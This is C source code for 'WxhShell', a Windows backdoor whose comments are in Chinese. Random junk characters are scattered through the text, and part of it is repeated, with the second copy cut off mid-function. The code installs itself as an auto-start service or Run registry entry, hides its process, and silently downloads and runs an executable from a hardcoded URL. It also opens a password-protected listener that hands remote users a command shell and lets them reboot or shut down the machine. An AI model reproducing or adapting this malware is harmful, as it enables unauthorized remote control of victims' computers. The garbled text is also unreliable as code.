>95TvJ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hg}I]!B +w|9x.&W HANDLE hProcess; V's:>; PROCESS_BASIC_INFORMATION pbi; XC15 K@K FDFH,J`_ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RaSz>-3d if(NULL == hInst ) return 0; e2$]g> 7dh1W@\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~$O1`IT g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 09M;}4ev&7 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jeqxspn
T %>Xr5<$:& if (!NtQueryInformationProcess) return 0; /7$mxtB5%L 47 u@4"M hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E(<LvMiCa if(!hProcess) return 0; $mco0%$ zvv:dC/p< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )He#K+[}^4 fm1X1T . CloseHandle(hProcess); dw@E) ]8 U ~Iy hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]0c Pml if(hProcess==NULL) return 0; .&,[, ST1Ts5I HMODULE hMod; *2u
E char procName[255]; 8dT'xuch unsigned long cbNeeded; :s8A:mx Wf02$c0#K if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yt.c5>B^ VmQh$&h CloseHandle(hProcess); @kngI7=E 1TqF6`;+ if(strstr(procName,"services")) return 1; // 以服务启动 o6j"OZcv ioIv=qGdiP return 0; // 注册表启动 G2mNm'0 } FN"rZWM +?-qfp,:0 // 主模块 w`yx=i# int StartWxhshell(LPSTR lpCmdLine) 6X+}>qy { 67<CbQZoN3 SOCKET wsl; J;~|ph BOOL val=TRUE; (b/d0HCND int port=0; MM#cLw struct sockaddr_in door; 4 9w=kzo YaFcz$GE_ if(wscfg.ws_autoins) Install(); -oBI+v& AfWl6a?T8: port=atoi(lpCmdLine); rFag@Z"[" #!!AbuhzK{ if(port<=0) port=wscfg.ws_port; >.dHt\ 4E"d / WSADATA data; ='/Z;3jt]x if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {V2bU}5
[ !Cj(A"uqY if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }6~)bLzI} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M1=_^f=&. door.sin_family = AF_INET; zi!#\s^ door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2o{@nN8% door.sin_port = htons(port); %= u/3b:o $>vy(Y if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m^$5K's& closesocket(wsl); qMgfMhQ7DU return 1; hN4VlNKu } &zN@5m$k; eYP=T+ if(listen(wsl,2) == INVALID_SOCKET) { l=Wd,$\ closesocket(wsl); \ZnN D1A return 1; OCx5/ 88X } ~"mj;5Id Wxhshell(wsl); NM L|"R; WSACleanup(); DA <ynBQ n85r^W return 0; RebTg1vGu N^$9;CKP= } !P|5#.eC IhW7^(p\ // 以NT服务方式启动 L~MpY{!3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y$8; Gm<) { N~g%wf@w DWORD status = 0; ?:}Pa<D&K DWORD specificError = 0xfffffff; SMq9j,k qc0 B<,x7 serviceStatus.dwServiceType = SERVICE_WIN32; atnQC serviceStatus.dwCurrentState = SERVICE_START_PENDING; S[U/qO)m serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N#Ag'i4HF serviceStatus.dwWin32ExitCode = 0; GoeIjuELR serviceStatus.dwServiceSpecificExitCode = 0; k}BDA|\s serviceStatus.dwCheckPoint = 0; ]bfqcmh< serviceStatus.dwWaitHint = 0; N$'>XtO b[g.}'^yht hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {,f[r*{Y if (hServiceStatusHandle==0) return; PRpE$`WK p37|zX status = GetLastError(); ^gm>!-Gx if (status!=NO_ERROR) A7'b Nd6f9 { 5^F]tRz- serviceStatus.dwCurrentState = SERVICE_STOPPED; fOW_h serviceStatus.dwCheckPoint = 0; ??I:H serviceStatus.dwWaitHint = 0; jaqV[*440U serviceStatus.dwWin32ExitCode = status; Ygx,t|?7 serviceStatus.dwServiceSpecificExitCode = specificError; 4$i} Xk#3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6F ;Or return; ,I39&;Iq } G7Ny"{Z [aNhP;< serviceStatus.dwCurrentState = SERVICE_RUNNING; ~u2w`H?V serviceStatus.dwCheckPoint = 0;
Ars,V3ep serviceStatus.dwWaitHint = 0; #NJ<[Gew if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !w=,p.?V= } P!>g7X 3uO8v{` // 处理NT服务事件,比如:启动、停止 [0op)Kn VOID WINAPI NTServiceHandler(DWORD fdwControl) a 2E t,WA% { a>(~ C'(< switch(fdwControl) N?^_=KE@ { .D3`'K3t{[ case SERVICE_CONTROL_STOP: ^N{X " serviceStatus.dwWin32ExitCode = 0; \P@S"QO serviceStatus.dwCurrentState = SERVICE_STOPPED; pE(sV{PD serviceStatus.dwCheckPoint = 0; lbofF==( serviceStatus.dwWaitHint = 0; z`@z { 82.HH5Z{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); gUb
"3g0 } C M^r|4K return; >Qk97we'9 case SERVICE_CONTROL_PAUSE: ER2V*,n@ serviceStatus.dwCurrentState = SERVICE_PAUSED; 7V/Zr break; I}ndRDz[ case SERVICE_CONTROL_CONTINUE: .pKN4 serviceStatus.dwCurrentState = SERVICE_RUNNING; 0lf"w@/ break; /1N)d?Pcl case SERVICE_CONTROL_INTERROGATE: Xr2 Wa break; }JGq 1 }; %Y 2G SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0/*X=5 } q06@SD$
4%>+Wh[ // 标准应用程序主函数 ^@N`e1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (l2<+R%1 { U5clQiow iW-t}}Z>B // 获取操作系统版本 Y)v% OsIsNt=GetOsVer(); Hq-v@@0 * GetModuleFileName(NULL,ExeFile,MAX_PATH); i2U/RXu E]?2!)mgce // 从命令行安装 d~,n_E$q; if(strpbrk(lpCmdLine,"iI")) Install(); yW:AVqE)t )Kr(Y.w // 下载执行文件 $WJy?_c if(wscfg.ws_downexe) { iI}nW if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^W k0*.wg WinExec(wscfg.ws_filenam,SW_HIDE); R1~7F{FW } BMF3XcH~G ',%5mF3j if(!OsIsNt) { >["Kd.ye // 如果时win9x,隐藏进程并且设置为注册表启动 "|\94 HideProc(); 3} l; StartWxhshell(lpCmdLine); z(r"JNO@ } ]svw
CPu C else 8vu2k> if(StartFromService()) vo.EM1x // 以服务方式启动 78gob&p? StartServiceCtrlDispatcher(DispatchTable); eNivlJ,K|@ else <%(f9j // 普通方式启动 7%X+O8 StartWxhshell(lpCmdLine); P0Aas)! 83X/"2-K return 0; 75PS^5T, } ={OCa1 KM E XT$p gMCy$+? a3*.,%d =========================================== i /C'0 })q]gMj OY$7`8M[ S[ i$e \:C%>
.VG rC~_:uXtE " "_Zh5
g mJ/^BT] #include <stdio.h> p~ mN2x ] #include <string.h> :0{AP_tvcC #include <windows.h> -<_+-t
#include <winsock2.h> Cnk#Ioz #include <winsvc.h> *?s/Ho &' #include <urlmon.h> (1OW6xtfG ;k-g_{M #pragma comment (lib, "Ws2_32.lib") }D(DU5r #pragma comment (lib, "urlmon.lib") uTxX`vH@! s-fKh` #define MAX_USER 100 // 最大客户端连接数 PZ~`O #define BUF_SOCK 200 // sock buffer 9j9YQ2 #define KEY_BUFF 255 // 输入 buffer 5X#i65_- 7ucx6J]c #define REBOOT 0 // 重启 .`b4h"g: #define SHUTDOWN 1 // 关机 1fmSk$ y.9 T %$2k> #define DEF_PORT 5000 // 监听端口 @^BS# $HP/cKu #define REG_LEN 16 // 注册表键长度 5^bh.uF #define SVC_LEN 80 // NT服务名长度 3KB|NS V,`!rJ // 从dll定义API `e4o 1* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JvT%R`i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N;e}dwh& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /vMQF+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PV5-^Y"v jt0H5-x // wxhshell配置信息 W`
WLW8Qsw struct WSCFG { &E} I int ws_port; // 监听端口 Ka[Sm|-q char ws_passstr[REG_LEN]; // 口令 0-6:AHix int ws_autoins; // 安装标记, 1=yes 0=no "v*oga% char ws_regname[REG_LEN]; // 注册表键名 ^U R-#WaQ char ws_svcname[REG_LEN]; // 服务名 gNG0k$nP char ws_svcdisp[SVC_LEN]; // 服务显示名 vsOdp:Yp9! char ws_svcdesc[SVC_LEN]; // 服务描述信息 eV@4VxaZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kq-mr int ws_downexe; // 下载执行标记, 1=yes 0=no g|_HcaW char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z0EjIYI[N char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #p']-No L{4),65 }; 3U :YA&K( 7Y$4MMNQ // default Wxhshell configuration u<BHf@AI struct WSCFG wscfg={DEF_PORT, ay!6T`U` "xuhuanlingzhe", <L[T'ZE+ 1, yBUZVqqDa "Wxhshell", r@N39O*Wq "Wxhshell", LG"BfYy6 "WxhShell Service", ,AGM?&A "Wrsky Windows CmdShell Service", hpd(d$j "Please Input Your Password: ", Fr938q6^- 1, Uqb]e?@ "http://www.wrsky.com/wxhshell.exe", 3sd{AkD^ "Wxhshell.exe" P2A]qX }; 5WrIg(l O6*'gnke // 消息定义模块 *
ePDc' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \<0G
kp char *msg_ws_prompt="\n\r? for help\n\r#>"; cij]&$;Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K|P9uHD char *msg_ws_ext="\n\rExit."; u K+9gTv char *msg_ws_end="\n\rQuit."; G_4K+
-K char *msg_ws_boot="\n\rReboot..."; 7UeE(=Hr5 char *msg_ws_poff="\n\rShutdown..."; ,n
/SDEL char *msg_ws_down="\n\rSave to "; 1Xk{(G<\ c+)36/; X char *msg_ws_err="\n\rErr!"; ej)BR'* char *msg_ws_ok="\n\rOK!"; FF~on06! OX#eLco char ExeFile[MAX_PATH]; M6o
xtt4 int nUser = 0; 4eDmLC"Y
* HANDLE handles[MAX_USER]; =!I8vQ> int OsIsNt; u&?yPR b<29wL1 SERVICE_STATUS serviceStatus; F``EARG)iu SERVICE_STATUS_HANDLE hServiceStatusHandle; /6i Tq^.% Mm:a+T // 函数声明 2 int Install(void); 0{^l2?mgSb int Uninstall(void); @'k,\$ / int DownloadFile(char *sURL, SOCKET wsh); Q{ |+3!!' int Boot(int flag); -$sl!%HO% void HideProc(void); K#m\qitb int GetOsVer(void); iMOPD}`IX int Wxhshell(SOCKET wsl); 2fHIk57jP void TalkWithClient(void *cs); !9ceCnwbNN int CmdShell(SOCKET sock); IL8'{<lM int StartFromService(void); i"2J5LLv int StartWxhshell(LPSTR lpCmdLine); tWCv]* JN;TGtB^p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (FjsN5 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 14@q $}sf DRKc&F6Qy // 数据结构和表定义 8S[<[CH SERVICE_TABLE_ENTRY DispatchTable[] = /Gh
x2B { l\A}lC0?J {wscfg.ws_svcname, NTServiceMain}, ".*a) {NULL, NULL} ;Wfv+]n9 }; l"~h1xk~ vJ# rW8y // 自我安装 5~ *'>y int Install(void) N>F2
c)rm { On2Vf*G@| char svExeFile[MAX_PATH]; kG|>_5 HKEY key; )|59FOWg strcpy(svExeFile,ExeFile); 5W:Gl?$S} sTYuwna~
// 如果是win9x系统,修改注册表设为自启动 b}EYNCw_7S if(!OsIsNt) { (|ct`KU0# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lyOrM7Gs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y<'2BTf RegCloseKey(key);
bSeL"
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Nt]${0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #C=L^cSx( RegCloseKey(key); 2S7H_qo$ return 0; FzsS~C$wH{ } K_<lO,[S } Bcd0 } >gS5[`xRE else { ;k63RNT,M& ]
fwTi(4y // 如果是NT以上系统,安装为系统服务 6U,U[MWJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ShsP]$Yp if (schSCManager!=0) f4aD0.K.g| { /%}YuN SC_HANDLE schService = CreateService mXN1b! ( =E6i1x%j schSCManager, yoQ?lh wscfg.ws_svcname, wZ\e3H z wscfg.ws_svcdisp, n_!]B_Vd$ SERVICE_ALL_ACCESS, ([4{n SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [w#x5Xsn SERVICE_AUTO_START, dTU.XgX)1^ SERVICE_ERROR_NORMAL, k{u%p < svExeFile, ](
U%1 NULL, oN1wrf}Sh NULL, Jb)eC?6O NULL, @]VvqCk NULL, y!{/'{?P NULL #Ko+_Hm?4 ); ui#1 +p3G if (schService!=0) 5>z:[OdY* { lG[
)8!:+ CloseServiceHandle(schService); sP8-gkkor CloseServiceHandle(schSCManager); 6&xW9' 6b: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XM5;AcD strcat(svExeFile,wscfg.ws_svcname); H?/cG_^y0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _
/28Cw RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T$8$9D_u RegCloseKey(key); :BZx)HxQ return 0; oRJP5Y5na } (1r>50Ge } ,[K)E CloseServiceHandle(schSCManager); n9-q5X^e> } o"+&^ } J!^~KN6[ OD@@O9 return 1; {/|8g( } %&Q7;? DHu jpZXQ // 自我卸载 X-2S*L' int Uninstall(void) *IO;`k q,; { k
@/SeE HKEY key; Wp9
2sm+ .5Z@5g` if(!OsIsNt) { 3vGaT4TDx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U*+!w@
. RegDeleteValue(key,wscfg.ws_regname); Zn*CJNB RegCloseKey(key); ,aj+mlZd2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %>z8:oJ RegDeleteValue(key,wscfg.ws_regname); mLxwJ RegCloseKey(key); ^>R| R1& return 0; Drq{)#7 } %RD7=Z-z } : z,vJ~PW } Jv{"R!e"P else { 0f#a_ <T2~xn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R7;rBEt8 if (schSCManager!=0) ,;ruH^ { BO\`m%8md SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Er+3S@sfq, if (schService!=0) H/la'f#o% { O
|I:[S}, if(DeleteService(schService)!=0) { m&jt[
CloseServiceHandle(schService); q
]R @:a/ CloseServiceHandle(schSCManager); 17[t_T&Ak9 return 0; M0IqQM57N } X|n[9h:% CloseServiceHandle(schService); AYQh=$)( } u.K'"-xt4K CloseServiceHandle(schSCManager); 'FA)LuAok } . eag84_ } eRqexqO! ,["|wqM return 1; d~1"{WPSn } 'N,NG$G2 6Oqnb+ // 从指定url下载文件 D30Z9_^%: int DownloadFile(char *sURL, SOCKET wsh) mM^8YL { T+`GOFx HRESULT hr; O}iKPY8K char seps[]= "/"; {aa,#B]i char *token; JP% ;rAoJ char *file; )*<d1$aM char myURL[MAX_PATH];
g8qAJ4 char myFILE[MAX_PATH]; -bb7Y ^A$XXH' strcpy(myURL,sURL); AeQ&V d| token=strtok(myURL,seps); ,xM*hN3A while(token!=NULL) 3'@jRK { >U
Ich file=token; g:6}zHK token=strtok(NULL,seps); ]X;*\- } *z:lq2"G MKYE]D; GetCurrentDirectory(MAX_PATH,myFILE); 8\t7}8f strcat(myFILE, "\\"); M
#RuI% strcat(myFILE, file); ~9jP++& send(wsh,myFILE,strlen(myFILE),0); &IPK5o, send(wsh,"...",3,0); 73Zs/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Nm :lC%>X if(hr==S_OK) 2o3k=hKS return 0; ~ilBw:L-3 else .?)oiPW# return 1; <+JFal 0J,d9a [1 } G/;aZ zgOwSg8 // 系统电源模块 b0CaoSWo int Boot(int flag) u^.k"46hn { :qKY@-t7H HANDLE hToken; 00x^zu?N TOKEN_PRIVILEGES tkp; Q2WrB+/ FrM~6A_ if(OsIsNt) { cx%9UK*c OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -r0\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'Bn_'w~j{ tkp.PrivilegeCount = 1; =@/^1.` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4!W?z2ly~R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t-m,~Io W if(flag==REBOOT) { &zDFf9w2{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }(IDPaJ return 0; BJ2W}R } oa|*-nw else { weadY,-H8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _@?Jx/`;bk return 0; yFtf~8s3 } n&&U9sf? } 6? ly.h$ else { #EK8Qe_ if(flag==REBOOT) { Mp}NUQHE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d(tf: @ return 0; \5c -L_ } tdK^X1 else { AsF`A"Cdw< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2G>
]W?> return 0; xJ5!`#= } k(Xv&Zn } 4^9_E&Fa yp'>+cLa return 1; A>@epCD } l+qtA~V&2 <T[ui // win9x进程隐藏模块 epyYo&x} void HideProc(void) ai9,4 { *%+buHe f=Y9a$.:M HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;P#*R3
if ( hKernel != NULL ) t O;W?g { ofv
1G=P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %+J*oFwQu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S*@0%|Q4r FreeLibrary(hKernel); U MIZ:*j } T<GD !j( 7OHw/-j\ return; nOzTHg8 } |H@p^.; glIIJ5d|, // 获取操作系统版本 1D DOUV
int GetOsVer(void) eZ$1|Sj]j { {-qTU6 OSVERSIONINFO winfo; k=
1+mG winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jtk(yp{Zz GetVersionEx(&winfo); [p<[83' ] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^C
T}i' return 1; 8nR,GW\ else P$(}}@ return 0; $o H,:x?} } @b({QM| Q(7l<z // 客户端句柄模块 _3>zi.J/ int Wxhshell(SOCKET wsl) zjE4v-H:l { cNvcpv SOCKET wsh; ( "z;Q?( struct sockaddr_in client; S3wH
M DWORD myID; 9h pM*wt YJsi5 while(nUser<MAX_USER) RjHpC7b*% { Jx?>1q=M int nSize=sizeof(client); #C}(7{Vt wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7?#32B
Gr if(wsh==INVALID_SOCKET) return 1; 54%}JA][ JFdzA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [)u{ - if(handles[nUser]==0) :E*U*#h/ closesocket(wsh); NWj@iyi< else )5x?Qn (B nUser++; KHiJOeLc } A[a+,TN{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P://Zi6> S45_-aE return 0; ,BAF?}04= } Z8UM0B=i -C<aB750O) // 关闭 socket Wno5B/V void CloseIt(SOCKET wsh) t,nB`g? { #1R
%7*$i closesocket(wsh); rfpxE>_|G nUser--; E3.s8}} ExitThread(0); 2_v>8B } :"]ei@ $S{j}74[ // 客户端请求句柄 cIjsUqKa void TalkWithClient(void *cs) DcHMiiVM { z& jDO ex ~V)E:( SOCKET wsh=(SOCKET)cs; q5PYc.E([ char pwd[SVC_LEN]; L;`t%1 char cmd[KEY_BUFF]; X.<R['U&\ char chr[1]; Z]d]RL&r int i,j; qI@_ q#Vf2U55m while (nUser < MAX_USER) { O!tD1^O!1} :_ox8xS4 if(wscfg.ws_passstr) { lsCh K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gZv<_0N //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hc9pWr"N //ZeroMemory(pwd,KEY_BUFF); SGm?"esEt i=0; 9_{!nQC.g while(i<SVC_LEN) { [DwB7l)O( g (k|"g`* // 设置超时 RUKSGj_NJ fd_set FdRead; ^EOjq struct timeval TimeOut; -&}E:zoe
FD_ZERO(&FdRead); OFv} jT FD_SET(wsh,&FdRead); 566Qikw2 TimeOut.tv_sec=8; lfP|+=^B
TimeOut.tv_usec=0; ^cm^JyS) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ri
~2t3gg if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IIkJ"Qg. f'dI"o&^/d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); flqTx)xE pwd=chr[0]; 5@ug1F& if(chr[0]==0xd || chr[0]==0xa) { wn&2-m*a pwd=0; mZyTo/\0 break; .EO1{2= } L8ke*O$ i++; q0wVV } (6nw8vQ D2bUSRrb // 如果是非法用户,关闭 socket .&y1gh!= if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X[<9+Q-& } at!?"u :F&WlU$L send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &
j43DYw4 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7}k8-:a% C#>C59 while(1) { tUQ)q wG
O)!u 4 ZeroMemory(cmd,KEY_BUFF); c3##:"wr S J5kA` // 自动支持客户端 telnet标准
s25012 j=0; |+;"^<T)l while(j<KEY_BUFF) { 2B7&Ll\> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Yml'?V" cmd[j]=chr[0]; ?}[keSEh> if(chr[0]==0xa || chr[0]==0xd) { zu#o<6E{ cmd[j]=0; D3PF(Wx break; il~,y8WTU{ } jTnu! H2o j++; /7^~* } H;2pk OjZ@_V: // 下载文件 PW}.` if(strstr(cmd,"http://")) { Cp%|Q.? send(wsh,msg_ws_down,strlen(msg_ws_down),0); EeO{G*pq if(DownloadFile(cmd,wsh)) 0*)79Sz send(wsh,msg_ws_err,strlen(msg_ws_err),0);
U{EW +> else 4%TC2Laii send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (P ?9Jct } yWzTHW`)Mr else { kbY@Y,:w [C$ 0HW switch(cmd[0]) { 5S1m&s5k <CFur // 帮助 $dR%8@.H case '?': { XebCl{HHp send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uT1x\Rt|e break; {%
P;O ?
} YdFC YSiS // 安装 z2V!u\It case 'i': { D)5wGp if(Install()) &kG<LGXP# send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Q;
w4@ else {-xnBx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zF PSk] break; $IHa]9 { } pfT7 // 卸载 (I$hw"%& case 'r': { AF@C9s if(Uninstall()) y{&,YV&_h send(wsh,msg_ws_err,strlen(msg_ws_err),0); P1t5-q else X\;y;pmRH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P.o W#Je break; .eE5pyw+C } $)U
RY~;i // 显示 wxhshell 所在路径 *4ID$BmO case 'p': { (<h,R@: char svExeFile[MAX_PATH]; "P6MLf1 strcpy(svExeFile,"\n\r"); /=N`P &R# strcat(svExeFile,ExeFile); ,0~=9dR send(wsh,svExeFile,strlen(svExeFile),0); y.zW>Mfl break; {}z7N~ } r*
U6govky // 重启 Z1Wra-g case 'b': { B4kIcHA send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O'k"6sBb if(Boot(REBOOT)) b#sO1MXv send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZM" t. else { OHU(?TBo closesocket(wsh); >a<;)K^1 ExitThread(0); \?j(U8mB> } e*tOXXY1 break; r<U }lK } w"~T5%p // 关机 hYLu case 'd': { ]?^mb n send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,q4 Y
N-3 if(Boot(SHUTDOWN)) D3]_AS&\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?IK[]=! else { ||hd(_W8 closesocket(wsh); aePk^?KbB ExitThread(0); *`kh} } k@?<Aw8_X break; :0J;^@ } 5lT lZRH1 // 获取shell PH6uP] case 's': { ="V6z$N CmdShell(wsh); LVSJK.B closesocket(wsh); mz47lv1? ExitThread(0); HxjhP( break; C`fQ` RL\ } }u
:sh >2 // 退出 m9r
X case 'x': { (UCWSA7oc send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b<%6aRC\ CloseIt(wsh); #}.db?[Rv break; dP82bk/e } C[75!F // 离开 1'ZBtX~A case 'q': { d;`JDT send(wsh,msg_ws_end,strlen(msg_ws_end),0); dI`b AP;\ closesocket(wsh); y@F{pr+dA WSACleanup(); ,ecFHkT> exit(1); ]\{EUx9 break; _o;alt } L~\Ir } j
sm{|' } =oBV.BST u E;yP.<PW // 提示信息 ig6F!p if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b YiaJ } YQ]W<0( } env]*gx+= jVr:O` return; =m UtBD.; } A," u~6Bn cY5h6+ _ // shell模块句柄 <%!EI@N int CmdShell(SOCKET sock) {Wt=NI?Ow { 7"1M3P5*8 STARTUPINFO si; gkDB8,C<j ZeroMemory(&si,sizeof(si)); _k&vW(O=: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :AL
nm0d si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O9bIo]B PROCESS_INFORMATION ProcessInfo; kIyif7 char cmdline[]="cmd"; mk}8Cu4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1$4dzI() return 0; f mf(5 } n* uT 3>ytpXUEGx // 自身启动模式 Dc
U$sf* int StartFromService(void) fnB[b[ { 'bTtdFvJ typedef struct q>t#5Z81 { b}WU DWORD ExitStatus; @u?m4v{ DWORD PebBaseAddress; qeypa! DWORD AffinityMask; nPE{Gp) } DWORD BasePriority; T< D&%) ULONG UniqueProcessId; l4RZ!K*X_" ULONG InheritedFromUniqueProcessId; cJMp`DQzc } PROCESS_BASIC_INFORMATION; Nzf tc )
}(Po_ PROCNTQSIP NtQueryInformationProcess; 51xiX90D |Y4c+6@_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^DD]jx static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9J*.'Y K9]L>Wj HANDLE hProcess; ",Mr+;;:[ PROCESS_BASIC_INFORMATION pbi; 1
Qln|b8< zt6GJz1q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kqm2TMO]>V if(NULL == hInst ) return 0; y2KR^/LN|Y 7*.nd g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h:xvnyaI g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <v%Q|r NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0-6rIdDTM :pq+SifP if (!NtQueryInformationProcess) return 0; -e(e;e `p#tx.o hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8MU+i%hd if(!hProcess) return 0; I;FHjnn( EV/DJ$C } if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )\Am:?RH; :<hM@>eFn CloseHandle(hProcess); ^M0 ]jjHIFX hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 